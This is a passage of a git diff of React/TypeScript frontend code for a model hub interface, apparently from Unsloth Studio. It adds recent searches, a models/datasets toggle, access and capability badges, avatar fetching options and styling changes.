-                aria-label="Datasets"
-                onClick={() => onResourceTypeChange("datasets")}
-                className={cn(
-                  "relative z-10 inline-flex h-9 w-9 items-center justify-center rounded-full transition-colors",
-                  resourceType === "datasets"
-                    ? "text-foreground"
-                    : "text-muted-foreground hover:text-foreground",
-                )}
-              >
-                <HugeiconsIcon
-                  icon={Database02Icon}
-                  strokeWidth={1.75}
-                  className="size-4"
-                />
-              </button>
-            </TooltipTrigger>
-            <TooltipContent side="bottom" sideOffset={6}>
-              Datasets
-            </TooltipContent>
-          </Tooltip>
-        </div>
-
-        <div className="relative min-w-0 flex-1">
+      <div className="relative min-w-0 flex-1 lg:flex-[1_1_360px]">
           <HugeiconsIcon
             icon={Search01Icon}
             strokeWidth={1.8}
-            className="pointer-events-none absolute left-3 top-1/2 size-4 -translate-y-1/2 text-muted-foreground"
+            className="pointer-events-none absolute left-3.5 top-1/2 size-4 -translate-y-1/2 text-muted-foreground"
           />
           <Input
+            // `type="search"` plus these flags stop password managers and noisy
+            // text assistance from acting on this field.
+            type="search"
+            name="hub-search"
+            autoComplete="off"
+            autoCorrect="off"
+            autoCapitalize="off"
+            spellCheck={false}
+            enterKeyHint="search"
+            data-1p-ignore={true}
+            data-lpignore={true}
+            data-form-type="other"
             value={query}
             onChange={(event) => onQueryChange(event.target.value)}
+            onFocus={() => setSearchFocused(true)}
+            onBlur={() => {
+              setSearchFocused(false);
+              if (isDiscover) {
+                recordRecentSearch(query);
+              }
+            }}
+            onKeyDown={(event) => {
+              if (event.key === "Enter" && isDiscover) {
+                recordRecentSearch(query);
+              } else if (event.key === "Escape" && showRecentSearches) {
+                event.currentTarget.blur();
+              }
+            }}
             placeholder={
               tab === "downloaded"
                 ? `Search on-device ${isDataset ? "datasets" : "models"}`
-                : "Search Hugging Face"
+                : isDataset
+                  ? "Search datasets"
+                  : "Search models"
             }
-            className="field-soft h-9 rounded-full pl-10 pr-10 text-[12.5px] placeholder:text-muted-foreground/80"
+            className={cn(
+              "field-soft h-9 rounded-full !border-0 pl-10 text-[13px] placeholder:text-muted-foreground/80 focus-visible:!ring-0",
+              hasTrailing ? "pr-10" : "pr-4",
+            )}
           />
-          {tab === "discover" && isLoading && (
-            <Spinner className="pointer-events-none absolute right-3 top-1/2 size-4 -translate-y-1/2 text-muted-foreground" />
+          {query ? (
+            <button
+              type="button"
+              aria-label="Clear search"
+              // Keep focus on the input so clearing reveals recent searches
+              // rather than dismissing the field.
+              onMouseDown={(event) => event.preventDefault()}
+              onClick={() => onQueryChange("")}
+              className="absolute right-2.5 top-1/2 inline-flex size-6 -translate-y-1/2 items-center justify-center rounded-full text-muted-foreground/70 transition-colors hover:text-foreground"
+            >
+              <HugeiconsIcon
+                icon={CancelCircleIcon}
+                strokeWidth={1.75}
+                className="size-[18px]"
+              />
+            </button>
+          ) : isDiscover && isLoading ? (
+            <Spinner className="pointer-events-none absolute right-3.5 top-1/2 size-4 -translate-y-1/2 text-muted-foreground" />
+          ) : null}
+          {showRecentSearches && (
+            <RecentSearches
+              searches={recentSearches}
+              onSelect={(value) => {
+                recordRecentSearch(value);
+                onQueryChange(value);
+              }}
+              onRemove={removeRecentSearch}
+              onClear={clearRecentSearches}
+            />
           )}
         </div>
-      </div>
 
-      <div className="flex min-w-0 flex-wrap items-center gap-2 lg:flex-none lg:flex-nowrap lg:justify-end">
+      <div className="flex min-w-0 flex-wrap items-center gap-2 lg:flex-[0_0_auto] lg:flex-nowrap lg:justify-end">
         {tab === "downloaded" && !isDataset && (
           <Tooltip>
             <TooltipTrigger asChild>
@@ -324,10 +318,16 @@ export const ModelsToolbar = memo(function ModelsToolbar({
         )}
 
         {!isDataset && (
-          <HubOptionMenu
+          <HubOptionMenu<FormatMenuValue>
             value={formatFilter}
             options={formatOptions}
-            onValueChange={onFormatFilterChange}
+            onValueChange={(value) => {
+              if (value === "finetune") {
+                onOpenFineTune();
+              } else {
+                onFormatFilterChange(value);
+              }
+            }}
             ariaLabel="Format filter"
             className={cn(triggerBase, "w-[128px]")}
           />
@@ -353,59 +353,74 @@ export const ModelsToolbar = memo(function ModelsToolbar({
           />
         )}
 
-        {tab === "discover" && !isDataset && (
-          <HubOptionMenu
-            value={channelValue}
-            options={channelOptions}
-            onValueChange={(next) =>
-              onChannelSelect(next === "all" ? null : next)
-            }
-            ariaLabel="Curated channels"
-            title={activeChannel ? activeChannel.label : "Curated channels"}
-            align="end"
-            showChevron={false}
-            triggerContent={
-              <span
-                aria-hidden="true"
-                className={cn(
-                  "hub-verified-badge size-4",
-                  activeChannel ? "text-primary" : "text-muted-foreground",
-                )}
-              />
-            }
+        <div
+          className="hub-menu-trigger hub-tab-toggle relative inline-flex h-8 shrink-0 items-center rounded-full"
+          role="radiogroup"
+          aria-label="Resource type"
+        >
+          <span
+            aria-hidden="true"
             className={cn(
-              triggerBase,
-              "field-filter inline-flex size-9 shrink-0 items-center justify-center rounded-full p-0",
+              "hub-tab-toggle-pill",
+              // Height-filling circle (matches the 3-view-tab toggle) that slides
+              // one button-width (w-8 = 32px) between the two options.
+              "pointer-events-none absolute inset-y-0 left-0 w-8 rounded-full transition-transform duration-200 ease-out",
+              resourceType === "datasets" ? "translate-x-8" : "translate-x-0",
             )}
-            contentClassName="w-[calc(100vw-1.5rem)] sm:w-[320px]"
           />
-        )}
-
-        {tab === "discover" && (
           <Tooltip>
             <TooltipTrigger asChild>
               <button
                 type="button"
-                aria-label="Refresh from Hugging Face"
-                onClick={onRefresh}
+                role="radio"
+                aria-checked={resourceType === "models"}
+                aria-label="Models"
+                onClick={() => onResourceTypeChange("models")}
                 className={cn(
-                  triggerBase,
-                  "field-filter inline-flex size-9 shrink-0 items-center justify-center rounded-full p-0",
+                  "relative z-10 inline-flex size-8 items-center justify-center rounded-full transition-colors",
+                  resourceType === "models"
+                    ? "text-foreground"
+                    : "text-muted-foreground hover:text-foreground",
                 )}
               >
                 <HugeiconsIcon
-                  icon={Refresh01Icon}
+                  icon={AiChipIcon}
                   strokeWidth={1.75}
-                  className={cn("size-4", isLoading && "animate-spin")}
+                  className="size-4"
                 />
               </button>
             </TooltipTrigger>
             <TooltipContent side="bottom" sideOffset={6}>
-              Refresh from Hugging Face
+              Models
             </TooltipContent>
           </Tooltip>
-        )}
-
+          <Tooltip>
+            <TooltipTrigger asChild>
+              <button
+                type="button"
+                role="radio"
+                aria-checked={resourceType === "datasets"}
+                aria-label="Datasets"
+                onClick={() => onResourceTypeChange("datasets")}
+                className={cn(
+                  "relative z-10 inline-flex size-8 items-center justify-center rounded-full transition-colors",
+                  resourceType === "datasets"
+                    ? "text-foreground"
+                    : "text-muted-foreground hover:text-foreground",
+                )}
+              >
+                <HugeiconsIcon
+                  icon={Database02Icon}
+                  strokeWidth={1.75}
+                  className="size-4"
+                />
+              </button>
+            </TooltipTrigger>
+            <TooltipContent side="bottom" sideOffset={6}>
+              Datasets
+            </TooltipContent>
+          </Tooltip>
+        </div>
       </div>
     </div>
   );
diff --git a/studio/frontend/src/features/hub/catalog/on-device-folders-dialog.tsx b/studio/frontend/src/features/hub/catalog/on-device-folders-dialog.tsx
index d0d7d201b3..1769f8861a 100644
--- a/studio/frontend/src/features/hub/catalog/on-device-folders-dialog.tsx
+++ b/studio/frontend/src/features/hub/catalog/on-device-folders-dialog.tsx
@@ -28,7 +28,7 @@ import {
   Delete02Icon,
   FileSearchIcon,
   FolderAddIcon,
-  Folder02Icon,
+  FolderOpenIcon,
   FolderSearchIcon,
   PlusSignIcon,
   RefreshIcon,
@@ -270,7 +270,7 @@ export function OnDeviceFoldersDialog({
                       aria-label="Refresh locations"
                       onClick={refreshFolders}
                       disabled={loading}
-                      className="inline-flex size-7 items-center justify-center rounded-[8px] text-muted-foreground transition-colors hover:bg-muted hover:text-foreground disabled:opacity-50"
+                      className="inline-flex size-7 items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-muted hover:text-foreground disabled:opacity-50"
                     >
                       <HugeiconsIcon
                         icon={RefreshIcon}
@@ -294,7 +294,7 @@ export function OnDeviceFoldersDialog({
                 ) : sortedFolders.length === 0 ? (
                   <div className="flex h-28 flex-col items-center justify-center gap-2 px-4 text-center text-[12px] text-muted-foreground">
                     <HugeiconsIcon
-                      icon={Folder02Icon}
+                      icon={FolderOpenIcon}
                       strokeWidth={1.75}
                       className="size-5 text-muted-foreground/60"
                     />
@@ -310,7 +310,7 @@ export function OnDeviceFoldersDialog({
                       >
                         <div className="flex size-8 shrink-0 items-center justify-center rounded-[9px] bg-muted text-muted-foreground">
                           <HugeiconsIcon
-                            icon={Folder02Icon}
+                            icon={FolderOpenIcon}
                             strokeWidth={1.75}
                             className="size-4"
                           />
@@ -319,12 +319,19 @@ export function OnDeviceFoldersDialog({
                           <p className="truncate text-[12.5px] font-medium text-foreground">
                             {pathTail(folder.path)}
                           </p>
-                          <p
-                            title={folder.path}
-                            className="truncate font-mono text-[10.5px] text-muted-foreground"
-                          >
-                            {folder.path}
-                          </p>
+                          <Tooltip>
+                            <TooltipTrigger asChild={true}>
+                              <p className="truncate font-mono text-[10.5px] text-muted-foreground">
+                                {folder.path}
+                              </p>
+                            </TooltipTrigger>
+                            <TooltipContent
+                              side="bottom"
+                              className="tooltip-compact max-w-xs break-all"
+                            >
+                              {folder.path}
+                            </TooltipContent>
+                          </Tooltip>
                         </div>
                         <Tooltip>
                           <TooltipTrigger asChild={true}>
@@ -333,7 +340,7 @@ export function OnDeviceFoldersDialog({
                               aria-label={`Remove ${folder.path}`}
                               onClick={() => void handleRemove(folder)}
                               disabled={pending !== null}
-                              className="inline-flex size-8 shrink-0 items-center justify-center rounded-[9px] text-muted-foreground transition-colors hover:bg-destructive/10 hover:text-destructive disabled:opacity-50"
+                              className="inline-flex size-8 shrink-0 items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-destructive/10 hover:text-destructive disabled:opacity-50"
                             >
                               {removing ? (
                                 <Spinner className="size-3.5" />
diff --git a/studio/frontend/src/features/hub/catalog/owner-avatar.tsx b/studio/frontend/src/features/hub/catalog/owner-avatar.tsx
index cb2adc0b05..852c09ab5f 100644
--- a/studio/frontend/src/features/hub/catalog/owner-avatar.tsx
+++ b/studio/frontend/src/features/hub/catalog/owner-avatar.tsx
@@ -3,40 +3,20 @@
 
 import { cn } from "@/lib/utils";
 import { useEffect, useState } from "react";
+import { ownerPaletteColor } from "../lib/avatar-theme";
 import { useHfOwnerAvatar } from "../lib/hf-owner-avatar";
 import {
   type ProviderLogo,
   resolveOwnerProviderLogo,
 } from "../lib/provider-logos";
 
-const PALETTE = [
-  "hsl(214 42% 42%)",
-  "hsl(172 32% 36%)",
-  "hsl(30 42% 42%)",
-  "hsl(348 36% 44%)",
-  "hsl(198 38% 40%)",
-  "hsl(140 26% 38%)",
-  "hsl(222 24% 46%)",
-  "hsl(16 34% 44%)",
-  "hsl(260 22% 48%)",
-  "hsl(44 44% 40%)",
-];
-
-function hashOwner(owner: string): number {
-  let h = 0;
-  for (let i = 0; i < owner.length; i++) {
-    h = (h * 31 + owner.charCodeAt(i)) | 0;
-  }
-  return Math.abs(h);
-}
-
 type AvatarSize = "xs" | "sm" | "md" | "lg";
 
 const SIZES: Record<AvatarSize, string> = {
-  xs: "size-5 rounded-[6px] text-[9px]",
-  sm: "size-7 rounded-[8px] text-[11px]",
-  md: "size-9 rounded-[10px] text-[13px]",
-  lg: "size-12 rounded-[13px] text-[16px]",
+  xs: "size-5 rounded-[8px] text-[9px]",
+  sm: "size-7 rounded-[10px] text-[11px]",
+  md: "size-9 rounded-[12px] text-[13px]",
+  lg: "size-12 rounded-[15px] text-[16px]",
 };
 
 const AVATAR_IMAGE_RETRY_BASE_MS = 60_000;
@@ -60,13 +40,23 @@ export function OwnerAvatar({
   repoName,
   size = "md",
   className,
+  remote = true,
 }: {
   owner: string;
-  // For an eligible owner (currently "unsloth"), match a known upstream provider
-  // and render its logo (e.g. an Unsloth Qwen2.5 re-upload shows the Qwen logo).
+  /**
+   * Repo name (after `owner/`). For an eligible owner (currently "unsloth"),
+   * renders the matched upstream provider's logo instead of the HF profile pic
+   * (e.g. an Unsloth Qwen2.5 re-upload shows the Qwen logo).
+   */
   repoName?: string;
   size?: AvatarSize;
   className?: string;
+  /**
+   * When false, never fetch the owner's HF profile picture; show a local
+   * provider logo or colored-initial tile instantly. Virtualized list rows pass
+   * `false` to avoid a per-row request storm; the inspector keeps `true`.
+   */
+  remote?: boolean;
 }) {
   const providerLogo = resolveOwnerProviderLogo(owner, repoName);
   if (providerLogo) {
@@ -78,7 +68,26 @@ export function OwnerAvatar({
       />
     );
   }
-  return <DefaultAvatar owner={owner} size={size} className={className} />;
+  return (
+    <DefaultAvatar
+      owner={owner}
+      size={size}
+      className={className}
+      remote={remote}
+    />
+  );
+}
+
+export function useAvatarImageUrl(
+  owner: string,
+  repoName?: string,
+): string | null {
+  const provider = resolveOwnerProviderLogo(owner, repoName);
+  const remoteUrl = useHfOwnerAvatar(owner.trim() || "?");
+  if (provider) {
+    return provider.treatment === "original" ? provider.logoPath : null;
+  }
+  return remoteUrl;
 }
 
 function ProviderLogoTile({
@@ -110,9 +119,11 @@ function ProviderLogoTile({
         <img
           src={provider.logoPath}
           alt=""
-          loading="lazy"
+          decoding="async"
           className={cn(
-            fit === "cover" ? "size-full object-cover" : "size-3/4 object-contain",
+            fit === "cover"
+              ? "size-full object-cover"
+              : "size-3/4 object-contain",
           )}
         />
       </span>
@@ -150,15 +161,17 @@ function DefaultAvatar({
   owner,
   size,
   className,
+  remote = true,
 }: {
   owner: string;
   size: AvatarSize;
   className?: string;
+  remote?: boolean;
 }) {
   const owned = owner.trim() || "?";
   const initial = owned[0]?.toUpperCase() ?? "?";
-  const color = PALETTE[hashOwner(owned) % PALETTE.length];
-  const remoteUrl = useHfOwnerAvatar(owned);
+  const color = ownerPaletteColor(owned);
+  const remoteUrl = useHfOwnerAvatar(owned, remote);
   const [failedImage, setFailedImage] = useState<FailedAvatarImage | null>(
     null,
   );
@@ -199,7 +212,7 @@ function DefaultAvatar({
         <img
           src={remoteUrl ?? ""}
           alt=""
-          loading="lazy"
+          decoding="async"
           className="size-full object-cover"
           onLoad={() => setFailedImage(null)}
           onError={() => {
diff --git a/studio/frontend/src/features/hub/catalog/owner-scope-toggle.tsx b/studio/frontend/src/features/hub/catalog/owner-scope-toggle.tsx
new file mode 100644
index 0000000000..17c3f2ba34
--- /dev/null
+++ b/studio/frontend/src/features/hub/catalog/owner-scope-toggle.tsx
@@ -0,0 +1,34 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { HubOptionMenu } from "./hub-option-menu";
+
+export type OwnerScope = "unsloth" | "all";
+
+const OPTIONS: { value: OwnerScope; label: string }[] = [
+  { value: "unsloth", label: "Unsloth" },
+  { value: "all", label: "All" },
+];
+
+/**
+ * "Unsloth / All" publisher scope as a compact dropdown pill beside the
+ * view-mode tabs. Only shown while browsing a model list, never on the hub feed.
+ */
+export function OwnerScopeToggle({
+  value,
+  onChange,
+}: {
+  value: OwnerScope;
+  onChange: (value: OwnerScope) => void;
+}) {
+  return (
+    <HubOptionMenu<OwnerScope>
+      value={value}
+      options={OPTIONS}
+      onValueChange={onChange}
+      ariaLabel="Publisher scope"
+      align="end"
+      className="h-8 text-[11.5px]"
+    />
+  );
+}
diff --git a/studio/frontend/src/features/hub/catalog/path-info-button.tsx b/studio/frontend/src/features/hub/catalog/path-info-button.tsx
index ac97d7a582..0d5ca6e00e 100644
--- a/studio/frontend/src/features/hub/catalog/path-info-button.tsx
+++ b/studio/frontend/src/features/hub/catalog/path-info-button.tsx
@@ -13,12 +13,9 @@ import {
   TooltipContent,
   TooltipTrigger,
 } from "@/components/ui/tooltip";
-import { Tick02Icon } from "@/lib/tick-icon";
 import { cn } from "@/lib/utils";
-import {
-  Copy01Icon,
-  FolderSearchIcon,
-} from "@hugeicons/core-free-icons";
+import { Copy01Icon, FolderSearchIcon } from "@hugeicons/core-free-icons";
+import { Tick02Icon } from "@/lib/tick-icon";
 import { HugeiconsIcon } from "@hugeicons/react";
 import type { MouseEvent } from "react";
 import { useState } from "react";
@@ -56,7 +53,7 @@ export function PathInfoButton({
               setOpen(true);
             }}
             className={cn(
-              "inline-flex size-7 shrink-0 cursor-pointer items-center justify-center rounded-[8px] text-muted-foreground opacity-0 transition-[opacity,background-color,color] duration-150 hover:bg-muted hover:text-foreground focus-visible:opacity-100 group-hover/dl:opacity-100",
+              "inline-flex size-7 shrink-0 cursor-pointer items-center justify-center rounded-full text-muted-foreground opacity-0 transition-[opacity,background-color,color] duration-150 hover:bg-muted hover:text-foreground focus-visible:opacity-100 group-hover/dl:opacity-100",
               className,
             )}
           >
diff --git a/studio/frontend/src/features/hub/catalog/recent-searches.tsx b/studio/frontend/src/features/hub/catalog/recent-searches.tsx
new file mode 100644
index 0000000000..28f4d71510
--- /dev/null
+++ b/studio/frontend/src/features/hub/catalog/recent-searches.tsx
@@ -0,0 +1,80 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { Cancel01Icon, Clock01Icon } from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+
+/**
+ * Recent-searches suggestion panel beneath the search field. Presentational only
+ * (parent owns visibility and store). Suppresses its own mousedown so clicks fire
+ * without blurring the focused input and closing the panel.
+ */
+export function RecentSearches({
+  searches,
+  onSelect,
+  onRemove,
+  onClear,
+}: {
+  searches: string[];
+  onSelect: (query: string) => void;
+  onRemove: (query: string) => void;
+  onClear: () => void;
+}) {
+  if (searches.length === 0) {
+    return null;
+  }
+  return (
+    <div
+      className="hub-recent-panel menu-soft-surface absolute inset-x-0 top-full z-50 mt-2 overflow-hidden rounded-[16px] p-1.5"
+      aria-label="Recent searches"
+      onMouseDown={(event) => event.preventDefault()}
+    >
+      <div className="flex items-center justify-between gap-2 px-2.5 pb-1.5 pt-1">
+        <span className="text-[11px] font-semibold uppercase tracking-[0.04em] text-muted-foreground/70">
+          Recent searches
+        </span>
+        <button
+          type="button"
+          onClick={onClear}
+          className="hub-recent-clear rounded-full px-2 py-0.5 text-[11.5px] font-medium text-muted-foreground transition-colors hover:text-foreground"
+        >
+          Clear all
+        </button>
+      </div>
+      <ul className="flex flex-col">
+        {searches.map((query) => (
+          <li key={query}>
+            <div className="hub-recent-item group/recent flex items-center rounded-[10px] pr-1.5">
+              <button
+                type="button"
+                onClick={() => onSelect(query)}
+                className="flex min-w-0 flex-1 items-center gap-2.5 rounded-l-[10px] py-2 pl-2.5 text-left"
+              >
+                <HugeiconsIcon
+                  icon={Clock01Icon}
+                  strokeWidth={1.75}
+                  className="size-4 shrink-0 text-muted-foreground/70"
+                />
+                <span className="truncate text-[13px] text-foreground">
+                  {query}
+                </span>
+              </button>
+              <button
+                type="button"
+                aria-label={`Remove “${query}” from recent searches`}
+                onClick={() => onRemove(query)}
+                className="hub-recent-remove ml-1 inline-flex size-6 shrink-0 items-center justify-center rounded-full text-muted-foreground opacity-0 transition-[opacity,color,background-color] hover:text-foreground focus-visible:opacity-100 group-hover/recent:opacity-100"
+              >
+                <HugeiconsIcon
+                  icon={Cancel01Icon}
+                  strokeWidth={1.75}
+                  className="size-3.5"
+                />
+              </button>
+            </div>
+          </li>
+        ))}
+      </ul>
+    </div>
+  );
+}
diff --git a/studio/frontend/src/features/hub/catalog/safetensors-download-card.tsx b/studio/frontend/src/features/hub/catalog/safetensors-download-card.tsx
index 5c5d390116..ccd61c5f04 100644
--- a/studio/frontend/src/features/hub/catalog/safetensors-download-card.tsx
+++ b/studio/frontend/src/features/hub/catalog/safetensors-download-card.tsx
@@ -244,7 +244,7 @@ export function SafetensorsDownloadCard({
           <div
             className={cn(
               "group/pair flex h-9 shrink-0 items-stretch gap-1.5",
-              // Run + Train pair hidden until Hub->chat/train pickers ship.
+              // Run+Train pair hidden until Hub→chat / Hub→train pickers ship.
               !HUB_POST_DOWNLOAD_ACTIONS_VISIBLE && "hidden",
             )}
           >
diff --git a/studio/frontend/src/features/hub/catalog/shared.tsx b/studio/frontend/src/features/hub/catalog/shared.tsx
index d8e53fdb14..c435afcfe6 100644
--- a/studio/frontend/src/features/hub/catalog/shared.tsx
+++ b/studio/frontend/src/features/hub/catalog/shared.tsx
@@ -3,15 +3,24 @@
 
 import {
   BrainIcon,
+  Chat01Icon,
   CodeIcon,
   GlobeIcon,
   HeadphonesIcon,
+  LockIcon,
+  LockKeyIcon,
   SparklesIcon,
   ViewIcon,
   Wrench01Icon,
 } from "@hugeicons/core-free-icons";
 import type { IconSvgElement } from "@hugeicons/react";
 import { HugeiconsIcon } from "@hugeicons/react";
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger,
+} from "@/components/ui/tooltip";
+import { cn } from "@/lib/utils";
 import type { Capability, CapabilityKey } from "../lib/model-capabilities";
 
 const CAPABILITY_ICON: Record<CapabilityKey, IconSvgElement> = {
@@ -22,13 +31,13 @@ const CAPABILITY_ICON: Record<CapabilityKey, IconSvgElement> = {
   code: CodeIcon,
   embedding: SparklesIcon,
   multilingual: GlobeIcon,
+  conversational: Chat01Icon,
 };
 
 const CAPABILITY_TONE: Record<CapabilityKey, string> = {
   vision:
     "bg-indigo-500/10 text-indigo-700 dark:bg-indigo-400/20 dark:text-indigo-300",
-  audio:
-    "bg-rose-500/10 text-rose-700 dark:bg-rose-400/20 dark:text-rose-300",
+  audio: "bg-rose-500/10 text-rose-700 dark:bg-rose-400/20 dark:text-rose-300",
   tools:
     "bg-amber-500/10 text-amber-800 dark:bg-amber-400/20 dark:text-amber-300",
   reasoning:
@@ -38,19 +47,121 @@ const CAPABILITY_TONE: Record<CapabilityKey, string> = {
     "bg-emerald-500/10 text-emerald-700 dark:bg-emerald-400/20 dark:text-emerald-300",
   multilingual:
     "bg-sky-500/10 text-sky-700 dark:bg-sky-400/20 dark:text-sky-300",
+  conversational:
+    "bg-fuchsia-500/10 text-fuchsia-700 dark:bg-fuchsia-400/20 dark:text-fuchsia-300",
 };
 
-export function CapabilityPill({ capability }: { capability: Capability }) {
+export function AccessChip({ label }: { label: string }) {
   return (
+    <span className="inline-flex h-6 shrink-0 items-center rounded-full border border-amber-500/30 bg-amber-500/8 px-2 text-[11px] font-medium leading-none text-amber-700 dark:text-amber-300">
+      {label}
+    </span>
+  );
+}
+
+function isGatedAccess(
+  gated: false | "auto" | "manual" | undefined,
+): boolean {
+  return gated !== false && gated !== undefined;
+}
+
+function AccessGlyph({
+  icon,
+  label,
+  tooltip,
+  className,
+}: {
+  icon: IconSvgElement;
+  label: string;
+  tooltip: boolean;
+  className: string;
+}) {
+  const glyph = (
     <span
-      className={`inline-flex h-6 items-center gap-1.5 rounded-full px-2.5 text-[11.5px] font-medium ${CAPABILITY_TONE[capability.key]}`}
+      role="img"
+      aria-label={label}
+      className={cn("inline-flex shrink-0", className)}
+    >
+      <HugeiconsIcon icon={icon} strokeWidth={1.75} className="size-3" />
+    </span>
+  );
+  if (!tooltip) return glyph;
+  return (
+    <Tooltip>
+      <TooltipTrigger asChild={true}>{glyph}</TooltipTrigger>
+      <TooltipContent side="top" className="tooltip-compact">
+        {label}
+      </TooltipContent>
+    </Tooltip>
+  );
+}
+
+export function AccessGlyphs({
+  gated,
+  isPrivate,
+  tooltip = true,
+}: {
+  gated?: false | "auto" | "manual";
+  isPrivate?: boolean;
+  tooltip?: boolean;
+}) {
+  const gatedAccess = isGatedAccess(gated);
+  if (!gatedAccess && !isPrivate) return null;
+  return (
+    <>
+      {isPrivate && (
+        <AccessGlyph
+          icon={LockIcon}
+          label="Private"
+          tooltip={tooltip}
+          className="text-muted-foreground/70"
+        />
+      )}
+      {gatedAccess && (
+        <AccessGlyph
+          icon={LockKeyIcon}
+          label="Gated"
+          tooltip={tooltip}
+          className="text-amber-600 dark:text-amber-400"
+        />
+      )}
+    </>
+  );
+}
+
+export function CapabilityPill({
+  capability,
+  iconOnly = false,
+  tooltip = true,
+}: {
+  capability: Capability;
+  iconOnly?: boolean;
+  tooltip?: boolean;
+}) {
+  const pill = (
+    <span
+      aria-label={iconOnly ? capability.label : undefined}
+      className={cn(
+        "inline-flex h-6 shrink-0 items-center rounded-full text-[11.5px] font-medium",
+        iconOnly ? "w-6 justify-center px-0" : "gap-1.5 px-2.5",
+        CAPABILITY_TONE[capability.key],
+      )}
     >
       <HugeiconsIcon
         icon={CAPABILITY_ICON[capability.key]}
         strokeWidth={1.75}
         className="size-3"
       />
-      {capability.label}
+      {!iconOnly && capability.label}
     </span>
   );
+  if (!iconOnly || !tooltip) return pill;
+  return (
+    <Tooltip>
+      <TooltipTrigger asChild={true}>{pill}</TooltipTrigger>
+      <TooltipContent side="top" className="tooltip-compact">
+        {capability.label}
+      </TooltipContent>
+    </Tooltip>
+  );
 }
diff --git a/studio/frontend/src/features/hub/catalog/transport-toggle.tsx b/studio/frontend/src/features/hub/catalog/transport-toggle.tsx
index 1fb06221ee..9202b88f45 100644
--- a/studio/frontend/src/features/hub/catalog/transport-toggle.tsx
+++ b/studio/frontend/src/features/hub/catalog/transport-toggle.tsx
@@ -54,16 +54,18 @@ export function TransportToggle() {
             <TooltipTrigger asChild={true}>
               <button
                 type="button"
-                disabled={disabled}
-                onClick={() => setMode(opt.value)}
+                aria-disabled={disabled || undefined}
                 aria-pressed={active}
+                onClick={() => {
+                  if (!disabled) setMode(opt.value);
+                }}
                 className={cn(
-                  "inline-flex h-[22px] cursor-pointer items-center justify-center rounded-full px-2 font-medium tracking-tight transition-colors",
-                  active
-                    ? "hub-tab-toggle-pill text-foreground"
-                    : disabled
-                      ? "cursor-not-allowed text-muted-foreground/45"
-                      : "text-muted-foreground hover:text-foreground/80",
+                  "inline-flex h-[22px] items-center justify-center rounded-full px-2 font-medium tracking-tight transition-colors",
+                  disabled
+                    ? "cursor-not-allowed text-muted-foreground/45"
+                    : active
+                      ? "hub-tab-toggle-pill cursor-pointer text-foreground"
+                      : "cursor-pointer text-muted-foreground hover:text-foreground/80",
                 )}
               >
                 {opt.label}
diff --git a/studio/frontend/src/features/hub/components/hf-token-indicator.tsx b/studio/frontend/src/features/hub/components/hf-token-indicator.tsx
index 58de203922..e3aa8163be 100644
--- a/studio/frontend/src/features/hub/components/hf-token-indicator.tsx
+++ b/studio/frontend/src/features/hub/components/hf-token-indicator.tsx
@@ -13,12 +13,12 @@ import { AiSecurity03Icon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 
 interface HfTokenIndicatorProps {
-  // true: chip with label (Train wizard); false: icon-only pill (Hub header).
+  /** true: chip with "HF Token" label (Train wizard); false: icon-only pill (Hub header). */
   showLabel?: boolean;
 }
 
-// Compact "set / not set" indicator for the app-wide Hugging Face token; click
-// opens Settings -> General. Shared by the Hub header and Train wizard.
+// Compact "set / not set" indicator for the app-wide HF token; click opens
+// Settings -> General. Shared by the Hub header and Train wizard (same store).
 export function HfTokenIndicator({ showLabel = false }: HfTokenIndicatorProps = {}) {
   const hfToken = useHfTokenStore((s) => s.token);
   const openDialog = useSettingsDialogStore((s) => s.openDialog);
@@ -87,7 +87,9 @@ export function HfTokenIndicator({ showLabel = false }: HfTokenIndicatorProps =
           onClick={() => openDialog("general")}
           aria-label={ariaLabel}
           className={cn(
-            "inline-flex size-[26px] items-center justify-center rounded-full text-[11.5px] transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+            // Solid circle reads optically larger than the flat HTTP/Xet box, so
+            // keep it 22px to sit within the row rather than bulging above it.
+            "inline-flex h-[22px] w-[22px] items-center justify-center rounded-full text-[11.5px] transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
             hasToken
               ? "hub-tag-soft text-muted-foreground hover:text-foreground/80"
               : "bg-destructive text-destructive-foreground hover:bg-destructive/90",
@@ -96,7 +98,8 @@ export function HfTokenIndicator({ showLabel = false }: HfTokenIndicatorProps =
           <HugeiconsIcon
             icon={AiSecurity03Icon}
             strokeWidth={1.75}
-            className="size-4"
+            // Shield ink leans right; nudge left to optically centre it.
+            className="block size-[13px] shrink-0 -translate-x-[0.5px]"
           />
         </button>
       </TooltipTrigger>
diff --git a/studio/frontend/src/features/hub/components/page-heading.tsx b/studio/frontend/src/features/hub/components/page-heading.tsx
index 0b9c3d2728..b2e4a06fb4 100644
--- a/studio/frontend/src/features/hub/components/page-heading.tsx
+++ b/studio/frontend/src/features/hub/components/page-heading.tsx
@@ -9,14 +9,34 @@ type PageHeadingProps = {
   title: ReactNode;
   subtitle?: ReactNode;
   className?: string;
+  onTitleClick?: () => void;
 };
 
-export function PageHeading({ title, subtitle, className }: PageHeadingProps) {
+const TITLE_CLASS =
+  "text-[30px] font-semibold leading-[1.04] tracking-[-0.028em] text-foreground sm:text-[34px]";
+
+export function PageHeading({
+  title,
+  subtitle,
+  className,
+  onTitleClick,
+}: PageHeadingProps) {
   return (
     <div className={cn("page-title-halo min-w-0", className)}>
-      <h1 className="text-[30px] font-semibold leading-[1.04] tracking-[-0.028em] text-foreground sm:text-[34px]">
-        {title}
-      </h1>
+      {onTitleClick ? (
+        <button
+          type="button"
+          onClick={onTitleClick}
+          className={cn(
+            TITLE_CLASS,
+            "cursor-pointer rounded-md text-left outline-none transition-opacity hover:opacity-80 focus-visible:ring-2 focus-visible:ring-ring",
+          )}
+        >
+          {title}
+        </button>
+      ) : (
+        <h1 className={TITLE_CLASS}>{title}</h1>
+      )}
       {subtitle ? (
         <p className="mt-2 text-[13px] leading-[19px] text-muted-foreground">
           {subtitle}
